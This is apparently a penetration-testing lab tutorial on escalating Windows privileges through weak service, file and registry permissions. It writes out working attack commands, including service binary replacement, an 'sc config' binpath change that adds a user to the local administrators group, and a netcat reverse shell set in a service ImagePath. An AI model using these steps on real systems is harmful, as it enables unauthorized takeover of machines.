**Weak Permissions**

Permissions on Windows systems are complicated and challenging to get right. A slight modification in one place may introduce a flaw elsewhere. As penetration testers, we need to understand how permissions work in Windows and the various ways that misconfigurations can be leveraged to escalate privileges. The permissions-related flaws discussed in this section are relatively uncommon in software applications put out by large vendors (but are seen from time to time) but are common in third-party software from smaller vendors, open-source software, and custom applications. Services usually install with SYSTEM privileges, so leveraging a service permissions-related flaw can often lead to complete control over the target system. Regardless of the environment, we should always check for weak permissions and be able to do it both with the help of tools and manually in case we are in a situation where we don't have our tools readily available.

**Permissive File System ACLs**

**Running SharpUp**

We can use [SharpUp](https://github.com/GhostPack/SharpUp/) from the GhostPack suite of tools to check for service binaries suffering from weak ACLs.

Running SharpUp

PS C:\htb> .\SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===

=== Modifiable Service Binaries ===

Name : SecurityService

DisplayName : PC Security Management Service

Description : Responsible for managing PC security

State : Stopped

StartMode : Auto

PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe"

<SNIP>

The tool identifies the PC Security Management Service, which executes the SecurityService.exe binary when started.

**Checking Permissions with icacls**

Using [icacls](https://ss64.com/nt/icacls.html) we can verify the vulnerability and see that the EVERYONE and BUILTIN\Users groups have been granted full permissions to the directory, and therefore any unprivileged system user can manipulate the directory and its contents.

Checking Permissions with icacls

PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)

Everyone:(I)(F)

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

**Replacing Service Binary**

This service is also startable by unprivileged users, so we can make a backup of the original binary and replace it with a malicious binary generated with msfvenom. It can give us a reverse shell as SYSTEM, or add a local admin user and give us full administrative control over the machine.

Replacing Service Binary

C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"

C:\htb> sc start SecurityService

**Weak Service Permissions**

**Reviewing SharpUp Again**

Let's check the SharpUp output again for any modifiable services. We see the WindscribeService is potentially misconfigured.

Reviewing SharpUp Again

C:\htb> SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===

=== Modifiable Services ===

Name : WindscribeService

DisplayName : WindscribeService

Description : Manages the firewall and controls the VPN tunnel

State : Running

StartMode : Auto

PathName : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"

**Checking Permissions with AccessChk**

Next, we'll use [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) from the Sysinternals suite to enumerate permissions on the service. The flags we use, in order, are -q (omit banner), -u (suppress errors), -v (verbose), -c (specify name of a Windows service), and -w (show only objects that have write access). Here we can see that all Authenticated Users have [SERVICE\_ALL\_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) rights over the service, which means full read/write control over it.

Checking Permissions with AccessChk

C:\htb> accesschk.exe /accepteula -quvcw WindscribeService

Accesschk v6.13 - Reports effective permissions for securable objects

Copyright ⌐ 2006-2020 Mark Russinovich

Sysinternals - www.sysinternals.com

WindscribeService

Medium Mandatory Level (Default) [No-Write-Up]

RW NT AUTHORITY\SYSTEM

SERVICE\_ALL\_ACCESS

RW BUILTIN\Administrators

SERVICE\_ALL\_ACCESS

RW NT AUTHORITY\Authenticated Users

SERVICE\_ALL\_ACCESS

**Check Local Admin Group**

Checking the local administrators group confirms that our user htb-student is not a member.

Check Local Admin Group

C:\htb> net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

mrb3n

The command completed successfully.

**Changing the Service Binary Path**

We can use our permissions to change the binary path maliciously. Let's change it to add our user to the local administrator group. We could set the binary path to run any command or executable of our choosing (such as a reverse shell binary).

Changing the Service Binary Path

C:\htb> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

[SC] ChangeServiceConfig SUCCESS

**Stopping Service**

Next, we must stop the service, so the new binpath command will run the next time it is started.

Stopping Service

C:\htb> sc stop WindscribeService

SERVICE\_NAME: WindscribeService

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 3 STOP\_PENDING

(NOT\_STOPPABLE, NOT\_PAUSABLE, IGNORES\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x4

WAIT\_HINT : 0x0

**Starting the Service**

Since we have full control over the service, we can start it again, and the command we placed in the binpath will run even though an error message is returned. The service fails to start because the binpath is not pointing to the actual service executable. Still, the executable will run when the system attempts to start the service before erroring out and stopping the service again, executing whatever command we specify in the binpath.

Starting the Service

C:\htb> sc start WindscribeService

[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

**Confirming Local Admin Group Addition**

Finally, check to confirm that our user was added to the local administrators group.

Confirming Local Admin Group Addition

C:\htb> net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

htb-student

mrb3n

The command completed successfully.

Another notable example is the Windows [Update Orchestrator Service (UsoSvc)](https://docs.microsoft.com/en-us/windows/deployment/update/how-windows-update-works), which is responsible for downloading and installing operating system updates. It is considered an essential Windows service and cannot be removed. Since it is responsible for making changes to the operating system through the installation of security and feature updates, it runs as the all-powerful NT AUTHORITY\SYSTEM account. Before installing the security patch relating to [CVE-2019-1322](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1322), it was possible to elevate privileges from a service account to SYSTEM. This was due to weak permissions, which allowed service accounts to modify the service binary path and start/stop the service.

**Weak Service Permissions - Cleanup**

We can clean up after ourselves and ensure that the service is working correctly by stopping it and resetting the binary path back to the original service executable.

**Reverting the Binary Path**

Reverting the Binary Path

C:\htb> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"

[SC] ChangeServiceConfig SUCCESS

**Starting the Service Again**

If all goes to plan, we can start the service again without an issue.

Starting the Service Again

C:\htb> sc start WindScribeService

SERVICE\_NAME: WindScribeService

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 2 START\_PENDING

(NOT\_STOPPABLE, NOT\_PAUSABLE, IGNORES\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT\_HINT : 0x0

PID : 1716

FLAGS :

**Verifying Service is Running**

Querying the service will show it running again as intended.

Verifying Service is Running

C:\htb> sc query WindScribeService

SERVICE\_NAME: WindScribeService

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 4 Running

(STOPPABLE, NOT\_PAUSABLE, ACCEPTS\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT\_HINT : 0x0

**Unquoted Service Path**

When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start. If this binary is not encapsulated within quotes, Windows will attempt to locate the binary in different folders. Take the example binary path below.

**Service Binary Path**

Service Binary Path

C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Windows will decide the execution method of a program based on its file extension, so it's not necessary to specify it. Windows will attempt to load the following potential executables in order on service start, with a .exe being implied:

* C:\Program Files (x86)\System Explorer\service\SystemExplorerService64

**Querying Service**

Querying Service

C:\htb> sc qc SystemExplorerHelpService

[SC] QueryServiceConfig SUCCESS

SERVICE\_NAME: SystemExplorerHelpService

TYPE : 20 WIN32\_SHARE\_PROCESS

START\_TYPE : 2 AUTO\_START

ERROR\_CONTROL : 0 IGNORE

BINARY\_PATH\_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

LOAD\_ORDER\_GROUP :

TAG : 0

DISPLAY\_NAME : System Explorer Service

DEPENDENCIES :

SERVICE\_START\_NAME : LocalSystem

If we can create the following files, we would be able to hijack the service binary and gain command execution in the context of the service, in this case, NT AUTHORITY\SYSTEM.

* C:\Program.exe\
* C:\Program Files (x86)\System.exe

However, creating files in the root of the drive or the program files folder requires administrative privileges. Even if the system had been misconfigured to allow this, the user probably wouldn't be able to restart the service and would be reliant on a system restart to escalate privileges. Although it's not uncommon to find applications with unquoted service paths, it isn't often exploitable.

**Searching for Unquoted Service Paths**

We can identify unquoted service binary paths using the command below.

Searching for Unquoted Service Paths

C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

GVFS.Service GVFS.Service C:\Program Files\GVFS\GVFS.Service.exe Auto

System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe Auto

WindscribeService WindscribeService C:\Program Files (x86)\Windscribe\WindscribeService.exe Auto

**Permissive Registry ACLs**

It is also worth searching for weak service ACLs in the Windows Registry. We can do this using accesschk.

**Checking for Weak Service ACLs in Registry**

Checking for Weak Service ACLs in Registry

C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

Accesschk v6.13 - Reports effective permissions for securable objects

Copyright ⌐ 2006-2020 Mark Russinovich

Sysinternals - www.sysinternals.com

RW HKLM\System\CurrentControlSet\services\ModelManagerService

KEY\_ALL\_ACCESS

<SNIP>

**Changing ImagePath with PowerShell**

We can abuse this using the PowerShell cmdlet Set-ItemProperty to change the ImagePath value, using a command such as:

Changing ImagePath with PowerShell

PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

**Modifiable Registry Autorun Binary**

**Check Startup Programs**

We can use WMIC to see what programs run at system startup. Suppose we have write permissions to the registry for a given binary or can overwrite a binary listed. In that case, we may be able to escalate privileges to another user the next time that the user logs in.

Check Startup Programs

PS C:\htb> Get-CimInstance Win32\_StartupCommand | select Name, command, Location, User |fl

Name : OneDrive

command : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User : WINLPE-WS01\mrb3n

Name : Windscribe

command : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os\_restart

Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User : WINLPE-WS01\mrb3n

Name : SecurityHealth

command : %windir%\system32\SecurityHealthSystray.exe

Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User : Public

Name : VMware User Process

command : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr

Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User : Public

Name : VMware VM3DService Process

command : "C:\WINDOWS\system32\vm3dservice.exe" -u

Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User : Public

This [post](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries) and [this site](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) detail many potential autorun locations on Windows systems.